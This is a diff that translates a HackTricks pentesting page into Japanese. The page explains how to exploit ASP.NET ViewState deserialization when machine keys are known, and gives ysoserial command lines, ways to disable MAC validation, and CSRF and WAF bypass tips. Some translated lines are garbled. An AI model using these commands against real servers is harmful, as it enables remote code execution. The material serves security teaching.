[**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md b/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md index c82a7f8b7..a7025c35d 100644 --- a/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md +++ b/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md @@ -1,286 +1,255 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**The content of this post was extracted from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +**この投稿の内容は**[**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **から抽出されました** -# Introduction +# はじめに -ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form. +ASP.NETのWebアプリケーションでは、ViewStateを使用してページの状態を維持し、Webフォームでデータを永続化します。 -It is normally possible to **run code on a web server where a valid ViewState can be forged**. This can be done when the **MAC validation** feature has been **disabled** or by knowing the: +通常、有効なViewStateを偽造するために、Webサーバー上でコードを実行することが可能です。これは、**MAC検証**機能が**無効化**されている場合や、以下の情報を知っている場合に行うことができます。 -* **Validation key and its algorithm** **prior** to .NET Framework version **4.5** -* **Validation key, validation algorithm, decryption key, and decryption algorithm** in .NET Framework version 4.5 or above - -In order to prevent manipulation attacks, .NET Framework can **sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code (MAC) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The **keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** (application level) or **`machine.config`** (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above: +* **.NET Frameworkバージョン4.5より前の場合、検証キーとそのアルゴリズム**を**事前に**知っている場合 +* **.NET Frameworkバージョン4.5以降の場合、検証キー、検証アルゴリズム、復号キー、および復号アルゴリズム**を知っている場合 +操作の改ざん攻撃を防ぐために、.NET Frameworkは、`LosFormatter`クラスを使用してシリアル化されたViewStateを**署名と暗号化**することができます。その後、メッセージ認証コード(MAC)検証メカニズムを使用して署名を検証します。`ObjectStateFormatter`クラスは、署名、暗号化、および検証のタスクを実行します。署名および/または暗号化メカニズムを実行するために必要な**キー**は、ASP.NETアプリケーションの**`web.config`**(アプリケーションレベル)または**`machine.config`**(マシンレベル)ファイルの`machineKey`セクションに格納されることが通常です。これは、ウェブファームまたはクラスタ内のロードバランサの背後で同じアプリケーションを提供するために複数のウェブサーバーが使用される場合に一般的です。以下は、.NET Frameworkバージョン2.0以降を使用するASP.NETアプリケーションの設定ファイルの`machineKey`セクションの形式を示しています。 ```markup ``` +# RCEを無効化したViewState MAC検証 -It should be noted that when a `machineKey` section has not been defined within the configuration files or when the `validationKey` and `decryptionKey` attributes have been set to `AutoGenerate`, the **application generates the required values dynamically** based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`. See [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) for more details. - -# RCE with disabled ViewState MAC Validation - -In the past, it was possible to **disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in: - +過去には、`enableViewStateMac`プロパティを`False`に設定するだけで、MAC検証を無効化することができました。Microsoftは2014年9月にパッチをリリースし、.NET Frameworkのすべてのバージョンでこのプロパティを無視してMAC検証を強制するようにしました。一部の人々は「_ViewState MACはもはや無効化できない_」と信じているかもしれませんが、`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、MAC検証機能を無効化することができます。設定場所は以下の通りです: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` - -Alternatively, adding the following **dangerous setting** to the application level `web.config` file can disable the MAC validation as well: - +代わりに、次の**危険な設定**をアプリケーションレベルの`web.config`ファイルに追加すると、MAC検証を無効にすることもできます: ```markup … - - - + + + ``` - {% hint style="danger" %} -When ViewState MAC validation has been **disabled**, the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) project can be used to generate `LosFormatter` payloads as the ViewState in order to run arbitrary code on the server. +ViewState MAC検証が**無効化**されている場合、[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)プロジェクトを使用して、`LosFormatter`ペイロードをViewStateとして生成し、サーバー上で任意のコードを実行することができます。 {% endhint %} -**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be **encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt** to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example: - +**.NET Frameworkバージョン4.5より前**では、`__VIEWSTATE`パラメータは**MAC検証機能が無効化されている間に暗号化される**ことがありました。ほとんどの**スキャナー**は、この脆弱性を特定するために暗号化されていないViewStateパラメータを送信しようとはしません。そのため、`__VIEWSTATE`パラメータが暗号化されている場合にMAC検証が無効化されているかどうかを確認するためには、**手動のテスト**が必要です。これは、`__VIEWSTATE`パラメータに短いランダムなBase64文字列を送信することで確認できます。以下のURLは例を示しています: ``` https://victim.com/path/page.aspx?__VIEWSTATE=AAAA ``` +もしターゲットのページがエラーで応答する場合、MAC検証機能は無効になっています。そうでなければ、MAC検証エラーメッセージは抑制されているはずです。\ +ただし、エラーメッセージが見えない場合には、このトリックは機能しません。 -If the target page **responds with an error, the MAC validation feature has been disabled** otherwise it would have suppressed the MAC validation error message.\ -However, in scenarios where you cannot see the error message this trick won't work. - -Automated scanners should use a **payload that causes a short delay** on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay: - +自動化スキャナーは、サーバーサイドで短い遅延を引き起こすペイロードを使用する必要があります。以下のASP.NETコードを実行することで、10秒の遅延を作成する例です。 ``` System.Threading.Thread.Sleep(10000); ``` ```bash string xaml_payload = @" - - - 10000 - - +xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" +xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" +xmlns:System=""clr-namespace:System;assembly=mscorlib"" +xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib""> + + +10000 + + "; ``` +# 有効なViewState MAC検証でのRCE -# RCE with enabled ViewState MAC Validation +古いバージョン(**4.5より前**)の.NET Frameworkでは、シリアライズされたオブジェクトに署名する際に、**`TemplateSourceDirectory`**プロパティ[\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory)が使用されます。しかし、バージョン**4.5以降**では、ハッシュを作成するために**`Purpose`**文字列が使用されます。これらのメカニズムは、**アプリケーションディレクトリのルートからのターゲットパス**と**ページ名**が必要です。これらのパラメータは、**URLから抽出**することができます。 -In older versions (**prior to 4.5**), .NET Framework uses the **`TemplateSourceDirectory`** property [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) when **signing** a serialised object. **Since** version **4.5** however, it uses the **`Purpose`** strings in order to create the hash. Both of these mechanisms **require the target path from the root of the application directory** and the **page name**. These parameters can be **extracted from the URL**. +古いフレームワークを使用し、ViewStateの暗号化を強制するアプリケーションは、**暗号化されていない署名付きViewStateを受け入れることができます**。つまり、**検証キーとそのアルゴリズムを知っているだけで、ウェブサイトを攻撃することができます**。最新の.NET Frameworkバージョンでは、`viewStateEncryptionMode`プロパティが`Never`に設定されていても、ViewStateはデフォルトで暗号化されるようです。したがって、最新の.NET Frameworkバージョンでは、ペイロードを作成するためには**復号化キーとそのアルゴリズムも必要です**。 -Applications that use an **older framework** and enforce ViewState encryption can **still accept a signed ViewState without encryption**. This means that **knowing the validation key and its algorithm is enough** to exploit a website. It seems ViewState is encrypted by default **since version 4.5** even when the `viewStateEncryptionMode` property has been set to `Never`. This means that in the latest .NET Framework versions the **decryption key and its algorithm are also required** in order to create a payload. +ASP.NET ViewStateには、`ViewStateUserKey`というプロパティがあります[\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\))。これは、クロスサイトリクエストフォージェリ(CSRF)攻撃のリスクを軽減するために使用できます[\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET)。**`ViewStateUserKey`**プロパティの値(`null`でない場合)は、ViewStateの署名プロセス中にも使用されます。このパラメータの値を知らないと攻撃を止めることができますが、**その値はクッキーや非表示の入力パラメータによってしばしば見つかることがあります**(\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf)に実装例が示されています)。 -The ASP.NET ViewState contains a property called `ViewStateUserKey` [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\)) that can be used to mitigate risks of cross-site request forgery (CSRF) attacks [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET). Value of the **`ViewStateUserKey`** property (when it is not `null`**) is also used during the ViewState signing** process. Although not knowing the value of this parameter can stop our attack, **its value can often be found in the cookies or in a hidden input** parameter ([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) shows an implemented example). +## ViewState YSoSerial.Netプラグイン -## ViewState YSoSerial.Net plugins - -In YSoSerial.Net master and YSoSerial.Netv2 you can find a plugin ([**this**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) and [**this**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)) to exploit this technique when all the information is known. - -### **For .NET Framework >= 4.5:** +YSoSerial.NetのマスターとYSoSerial.Netv2では、すべての情報がわかっている場合にこのテクニックを悪用するためのプラグイン([**こちら**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs)と[**こちら**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs))が見つかります。 +### **.NET Framework >= 4.5の場合:** ```bash .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" ``` +### **.NET Framework <= 4.0(レガシー)の場合:** -### **For .NET Framework <= 4.0 (legacy):** - -_The decryptionKey and its algorithm are not required here:_ - +_ここでは、復号キーとそのアルゴリズムは必要ありません:_ ```bash .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug ``` - -_Apart from using different gadgets, it is possible to use the `__VIEWSTATEGENERATOR` parameter **instead of providing the paths**:_ - +_異なるガジェットを使用する以外にも、パスを提供する代わりに`__VIEWSTATEGENERATOR`パラメータを使用することも可能です:_ ```bash .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" ``` - -_It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be **encrypted** **to avoid WAFs when the decryptionKey value is known**:_ - +_デフォルトでは、ActivitySurrogateSelectorガジェットが使用されます。これには、YSoSerial.NetプロジェクトのExploitClass.csクラスをコンパイルする必要があります。ViewStateのペイロードは、**復号キーの値がわかっている場合にWAFを回避するために** **暗号化**されることもあります:_ ```bash .\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" ``` - {% hint style="info" %} -**Note:** Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side. +**注意:** YSoSerial.Netで使用されるガジェットの性質上、エクスプロイトがサーバーサイドで正常に実行された場合でも、対象のASP.NETページは常にエラーで応答します。 {% endhint %} -### Application path +### アプリケーションパス -it is important to find the root of the application path in order to create a valid ViewState unless: +有効なViewStateを作成するためには、次の条件が必要です。 -* The application uses .NET Framework version 4.0 or below; and -* The `__VIEWSTATEGENERATOR` parameter is known. +* アプリケーションが.NET Frameworkバージョン4.0以下を使用していること +* `__VIEWSTATEGENERATOR`パラメータが既知であること -The following screenshot shows the path tree in IIS: +以下のスクリーンショットは、IISでのパスツリーを示しています。 ![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png) -You can check [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) if you are not familiar with virtual directory and application terms in IIS. - -In order to generate a ViewState for the above URL, the `--path` and `--apppath` arguments should be as follows: +IISでの仮想ディレクトリとアプリケーションの用語に馴染みがない場合は、[\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis)を参照してください。 +上記のURLに対してViewStateを生成するために、`--path`と`--apppath`引数は以下のようにする必要があります: ``` --path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4 ---apppath=/app2/ +--apppath=/app2/ ``` +もし私たちが「app2」がアプリケーション名であることを知らなかった場合、DNSリクエストを取得したり遅延を引き起こしたりすることで、サーバ上でコードを実行できるViewStateを見つけるまで、URLのディレクトリ名を一つずつ試行錯誤することができます。 -If we did not know that “app2” was an application name, we could use **trial and error to test all the directory names** in the URL one by one until finding a ViewState that can execute code on the server (perhaps by getting a DNS request or causing a delay). +### ジェネレータ -### Generator +この場合、`--generator`引数を使用することができます。`--path`と`--apppath`引数が指定された場合、プラグインが同じ`__VIEWSTATEGENERATOR`パラメータを計算するかどうかを確認するために、`--isdebug`引数を使用することもできます。 -In this case, the `--generator` argument can be used. The `--isdebug` argument can be used to check whether the plugin also calculates the same `__VIEWSTATEGENERATOR` parameter when the `--path` and `--apppath` arguments have been provided. +## 古いバージョンの悪用 -## Exploiting Older Versions +.NET Framework v1.1を悪用するためのガジェットは、このブログ投稿の執筆時点では特定されませんでした。 -No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post. +.NET Framework v4.0以下を使用するアプリケーションを悪用するためには、YSoSerial.Net v2.0ブランチ[\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2)を使用することができます(これは元々別の研究の一環として開発されました[\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/))。ただし、このプロジェクトは一部のガジェットのみをサポートしており、対象のボックスには.NET Framework 3.5以上がインストールされている必要もあります。 -In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) can be used (this was originally developed as part of another research [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed. +## **その他のツール** -## **Other tools** +Immunity Canvasは、検証および暗号化キーが既知の場合にViewStateパラメータを作成することができるようです[\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761)。以下のツールは、私が自分の作業を公開しようとしていたときに偶然リリースされたもので、非常に驚きました。 -It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761). The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising: +* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen)(Pythonで書かれています) +* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET)(.NETで書かれています) -* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) (written in Python) -* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) (written in .NET) +これらのツールは現在、.NET Frameworkの異なるバージョンを区別せず、レガシーの暗号化を対象としているようです。また、CSRF攻撃を防止するために使用される可能性のある`ViewStateUserKey`パラメータを使用していません。 -I think these tools currently **do not differentiate between different versions of .NET** Framework and target the legacy cryptography. Additionally, they **do not use the `ViewStateUserKey`** parameter that might be in use to stop CSRF attacks. +# 追加のヒント -# Additional Tips +## **GETリクエストの使用** -## **Using GET requests** +`__VIEWSTATE`パラメータをGETリクエストのURLに含めることも可能です。制限要因はURLの長さであり、ここでは使用できるガジェットの種類が制限されます。 -It is also possible to send the `__VIEWSTATE` parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here. +## **.NET Frameworkバージョン4.5以前の暗号化** -## **Encryption in .NET Framework prior to version 4.5** +前述のように、.NET Framework 4.0およびそれ以下(v2.0からv4.0でテスト済み)を悪用する場合、`__VIEWSTATE`パラメータは暗号化する必要はありません。これは、`ViewStateEncryptionMode`プロパティが`Always`に設定されている場合でもです。ASP.NETは、リクエスト中の`__VIEWSTATEENCRYPTED`パラメータを見つけることで、ViewStateが暗号化されているかどうかを判断します(値を持つ必要はありません)。したがって、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除することで、暗号化されていないViewStateを送信することが可能です。 -As mentioned previously, the `__VIEWSTATE` parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when the `ViewStateEncryptionMode` property has been set to `Always`. ASP.NET decides whether or not the ViewState has been encrypted by finding the `__VIEWSTATEENCRYPTED` parameter in the request (it does not need to have any value). Therefore, it is possible to send an unencrypted ViewStated by removing the `__VIEWSTATEENCRYPTED` parameter from the request. +これは、検証キーとそのアルゴリズムが盗まれた場合、復号キーまたはそのアルゴリズムを変更しても攻撃を止めることはできないことを意味します。 -This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen. +ただし、WAFをバイパスするために`__VIEWSTATE`パラメータを暗号化することも可能です。 -The `__VIEWSTATE` parameter can be encrypted in order to bypass any WAFs though. +## **CSRF(XSRF)防止メカニズムのバイパス** -## **Bypassing anti-CSRF (anti-XSRF) mechanism** +無効な`__VIEWSTATE`パラメータが使用された場合、ASP.NETページはエラーを生成します。ただし、`Request.Form`を直接コード内で使用する場合、ページはまだ入力を受け取ることができます。たとえば、以下のようなサーバサイドのコードで`Request.Form["txtMyInput"]`を使用することで、CSRF攻撃を実行することができます。`txtMyInput.Text`ではなく。 -An ASP.NET page produces an error when an invalid `__VIEWSTATE` parameter is used. However, the page can still receive its inputs when `Request.Form` is used directly in the code for example by using `Request.Form["txtMyInput"]` rather than `txtMyInput.Text`. **The CSRF attack can be achieved by removing the `__VIEWSTATE` parameter from the request or by adding the `__PREVIOUSPAGE` parameter with an invalid value**. As the `__PREVIOUSPAGE` parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error. +CSRF攻撃は、リクエストから`__VIEWSTATE`パラメータを削除するか、`__PREVIOUSPAGE`パラメータに無効な値を追加することによって達成することができます。`__PREVIOUSPAGE`パラメータはデフォルトで暗号化され、base64形式になっているため、値として単一の文字を提供するだけでもエラーが発生するはずです。 -This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the `Page.ViewStateUserKey` parameter. +これにより、`Page.ViewStateUserKey`パラメータを設定して実装されたCSRF保護メカニズムをバイパスする可能性があります。 -## **Usage of the ViewStateGenerator parameter** +## **ViewStateGeneratorパラメータの使用** -When the `__VIEWSTATEGENERATOR` parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path. +`__VIEWSTATEGENERATOR`パラメータが既知の場合、アプリケーションパスを知らなくても.NET Frameworkバージョン4.0以下を使用するASP.NETアプリケーションでシリアライズされたオブジェクトに署名するために使用することができます。 -## **ViewState chunking to bypass WAFs** +## **WAFをバイパスするためのViewStateの分割** -It is possible to break the `__VIEWSTATE` parameter into multiple parts when the **`MaxPageStateFieldLength`** property has been set to a **positive** **value**. Its **default** value is **negative** and it means that the **`__VIEWSTATE`** parameter **cannot be broken into multiple parts**. +`MaxPageStateFieldLength`プロパティが**正の値**に設定されている場合、`__VIEWSTATE`パラメータを複数の部分に分割することが可能です。デフォルト値は**負の値**であり、これは**`__VIEWSTATE`パラメータを複数の部分に分割することはできない**ことを意味します。 -This might be useful to bypass some WAFs when ViewState chunking is allowed. +ViewStateの分割が許可されている場合、一部のWAFをバイパスするのに役立つ場合があります。 -## **Exploiting the EventValidation parameter** +## **EventValidationパラメータの悪用** -The `__EVENTVALIDATION` parameter and a few other parameters are also serialised similar to the `__VIEWSTATE` parameter and can be targeted similarly. Exploiting a deserialisation issue via `__EVENTVALIDATION` is more restricted and requires: - -* A POST request -* An ASP.NET page that accepts input parameters -* A valid input parameter name. For example, the `myinput` parameter in the POST request when we have the following code on the server-side: +`__EVENTVALIDATION`パラメータといくつかの他のパラメータも、`__VIEWSTATE`パラメータと同様にシリアライズされ、同様に対象となる可能性があります。`__EVENTVALIDATION`を介したデシリアライゼーションの問題を悪用するには、次の条件が必要です。 +* POSTリクエスト +* 入力パラメータを受け入れるASP.NETページ +* 有効な入力パラメータ名。たとえば、以下のようなサーバサイドのコードがある場合、POSTリクエストの`myinput`パラメータです。 ```markup ``` +`__VIEWSTATE`パラメータの値は、`__EVENTVALIDATION`パラメータを悪用する際には空であってもリクエストに存在する必要があります。 -Value of the `__VIEWSTATE` parameter can be empty in the request when exploiting the `__EVENTVALIDATION` parameter but it needs to exist. +.NET Framework 4.5以降で使用される`Purpose`文字列は、使用されるパラメータに基づいて異なります。以下の表は、.NET Frameworkで定義された`Purpose`文字列を示しています。 -The `Purpose` string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined `Purpose` strings in .NET Framework: - -| **Input Parameter** | **Purpose String** | +| **入力パラメータ** | **Purpose文字列** | | ------------------------------------------------------------ | -------------------------------------------------- | | “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState | | “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation | -| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable | -| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable | -| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression | -| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys | +| P1中のP2\|P1中のP2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable | +| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable | +| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression | +| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys | -The table above shows all input parameters that could be targeted. +上記の表は、対象となる可能性のあるすべての入力パラメータを示しています。 -## **Beware of the PreviousPage parameter** +## **PreviousPageパラメータに注意** -When the **`__PREVIOUSPAGE`** parameter exists in the request with **invalid** data, the **application** **does** **not** **deserialise** the **`__VIEWSTATE`** parameter. Providing the `__CALLBACKID` parameter prevents this behaviour. +リクエストに**`__PREVIOUSPAGE`**パラメータが**無効な**データで存在する場合、**アプリケーション**は**`__VIEWSTATE`**パラメータをデシリアライズしません。`__CALLBACKID`パラメータを提供することで、この動作を防ぐことができます。 -## **Errors reliability** +## **エラーの信頼性** -As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid `__VIEWSTATEGENERATOR` parameter is used. This behaviour changes when the `ViewStateUserKey` property is used, as ASP.NET will not suppress the MAC validation errors anymore. - -In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the `ViewStateUserKey` property is used: +前述のように、有効なViewStateが生成されたかどうかを確認するために、エラーを使用することがあります。ASP.NETは、無効な`__VIEWSTATEGENERATOR`パラメータが使用された場合、MAC検証エラーをデフォルトで表示しません。ただし、`ViewStateUserKey`プロパティが使用されると、ASP.NETはMAC検証エラーを抑制しなくなります。 +さらに、ASP.NET Webアプリケーションは、`ViewStateUserKey`プロパティが使用されている場合でも、以下の設定でMAC検証エラーを無視することができます。 ```markup - + ``` +# Web.configをバックドアとして使用する -# Web.config as a backdoor - -If attackers can **change** the **`web.config`** within the root of an application, they can **easily run code** on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by **disabling the 